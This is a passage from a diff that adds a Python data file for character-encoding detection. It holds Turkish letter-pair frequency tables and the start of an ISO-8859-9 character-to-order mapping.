3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 22: { # 'z' + 23: 2, # 'A' + 37: 2, # 'B' + 47: 1, # 'C' + 39: 2, # 'D' + 29: 3, # 'E' + 52: 1, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 2, # 'N' + 42: 2, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 3, # 'T' + 51: 2, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 1, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 2, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 1, # 'Ş' + 19: 2, # 'ş' + }, + 63: { # '·' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 54: { # 'Ç' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 3, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 50: { # 'Ö' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 2, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 1, # 'N' + 42: 2, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 1, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 1, # 's' + 9: 2, # 't' + 14: 0, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 55: { # 'Ü' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 59: { # 'â' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 0, # 'ş' + }, + 33: { # 'ç' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 0, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 61: { # 'î' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 1, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 34: { # 'ö' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 1, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 3, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 1, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 17: { # 'ü' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 30: { # 'ğ' + 23: 0, # 'A' + 37: 2, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 2, # 'N' + 42: 2, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 3, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 2, # 'İ' + 6: 2, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 41: { # 'İ' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 2, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 6: { # 'ı' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 40: { # 'Ş' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 2, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 0, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 3, # 'f' + 27: 0, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 1, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 1, # 'ü' + 30: 2, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 2, # 'ş' + }, + 19: { # 'ş' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 2, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 1, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +ISO_8859_9_TURKISH_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 255, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 255, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 255, # ' ' + 33: 255, # '!' + 34: 255, # '"' + 35: 255, # '#' + 36: 255, # '$' + 37: 255, # '%' + 38: 255, # '&' + 39: 255, # "'" + 40: 255, # '(' + 41: 255, # ')' + 42: 255, # '*' + 43: 255, # '+' + 44: 255, # ',' + 45: 255, # '-' + 46: 255, # '.' + 47: 255, # '/' + 48: 255, # '0' + 49: 255, # '1' + 50: 255, # '2' + 51: 255, # '3' + 52: 255, # '4' + 53: 255, # '5' + 54: 255, # '6' + 55: 255, # '7' + 56: 255, # '8' + 57: 255, # '9' + 58: 255, # ':' + 59: 255, # ';' + 60: 255, # '<' + 61: 255, # '=' + 62: 255, # '>' + 63: 255, # '?' + 64: 255, # '@' + 65: 23, # 'A' + 66: 37, # 'B' + 67: 47, # 'C' + 68: 39, # 'D' + 69: 29, # 'E' + 70: 52, # 'F' + 71: 36, # 'G' + 72: 45, # 'H' + 73: 53, # 'I' + 74: 60, # 'J' + 75: 16, # 'K' + 76: 49, # 'L' + 77: 20, # 'M' + 78: 46, # 'N' + 79: 42, # 'O' + 80: 48, # 'P' + 81: 69, # 'Q' + 82: 44, # 'R' + 83: 35, # 'S' + 84: 31, # 'T' + 85: 51, # 'U' + 86: 38, # 'V' + 87: 62, # 'W' + 88: 65, # 'X' + 89: 43, # 'Y' + 90: 56, # 'Z' + 91: 255, # '[' + 92: 255, # '\\' + 93: 255, # ']' + 94: 255, # '^' + 95: 255, # '_' + 96: 255, # '`' + 97: 1, # 'a' + 98: 21, # 'b' + 99: 28, # 'c' + 100: 12, # 'd' + 101: 2, # 'e' + 102: 18, # 'f' + 103: 27, # 'g' + 104: 25, # 'h' + 105: 3, # 'i' + 106: 24, # 'j' + 107: 10, # 'k' + 108: 5, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 15, # 'o' + 112: 26, # 'p' + 113: 64, # 'q' + 114: 7, # 'r' + 115: 8, # 's' + 116: 9, # 't' + 117: 14, # 'u' + 118: 32, # 'v' + 119: 57, # 'w' + 120: 58, # 'x' + 121: 11, # 'y' + 122: 22, # 'z' + 123: 255, # '{' + 124: 255, # '|' + 125: 255, # '}' + 126: 255, # '~' + 127: 255, # '\x7f' + 128: 180, # '\x80' + 129: 179, # '\x81' + 130: 178, # '\x82' + 131: 177, # '\x83' + 132: 176, # '\x84' + 133: 175, # '\x85' + 134: 174, # '\x86' + 135: 173, # '\x87' + 136: 172, # '\x88' + 137: 171, # '\x89' + 138: 170, # '\x8a' + 139: 169, # '\x8b' + 140: 168, # '\x8c' + 141: 167, # '\x8d' + 142: 166, # '\x8e' + 143: 165, # '\x8f' + 144: 164, # '\x90' + 145: 163, # '\x91' + 146: 162, # '\x92' + 147: 161, # '\x93' + 148: 160, # '\x94' + 149: 159, # '\x95' + 150: 101, # '\x96' + 151: 158, # '\x97' + 152: 157, # '\x98' + 153: 156, # '\x99' + 154: 155, # '\x9a' + 155: 154, # '\x9b' + 156: 153, # '\x9c' + 157: 152, # '\x9d' + 158: 151, # '\x9e' + 159: 106, # '\x9f' + 160: 150, # '\xa0' + 161: 149, # '¡' + 162: 148, # '¢' + 163: 147, # '£' + 164: 146, # '¤' + 165: 145, # '¥' + 166: 144, # '¦' + 167: 100, # '§' + 168: 143, # '¨' + 169: 142, # '©' + 170: 141, # 'ª' + 171: 140, # '«' + 172: 139, # '¬' + 173: 138, # '\xad' + 174: 137, # '®' + 175: 136, # '¯' + 176: 94, # '°' + 177: 80, # '±' + 178: 93, # '²' + 179: 135, # '³' + 180: 105, # '´' + 181: 134, # 'µ' + 182: 133, # '¶' + 183: 63, # '·' + 184: 132, # '¸' + 185: 131, # '¹' + 186: 130, # 'º' + 187: 129, # '»' + 188: 128, # '¼' + 189: 127, # '½' + 190: 126, # '¾' + 191: 125, # '¿' + 192: 124, # 'À' + 193: 104, # 'Á' + 194: 73, # 'Â' + 195: 99, # 'Ã' + 196: 79, # 'Ä' + 197: 85, # 'Å' + 198: 123, # 'Æ' + 199: 54, # 'Ç' + 200: 122, # 'È' + 201: 98, # 'É' + 202: 92, # 'Ê' + 203: 121, # 'Ë' + 204: 120, # 'Ì' + 205: 91, # 'Í' + 206: 103, # 'Î' + 207: 119, # 'Ï' + 208: 68, # 'Ğ' + 209: 118, # 'Ñ' + 210: 117, # 'Ò' + 211: 97, # 'Ó' + 212: 116, # 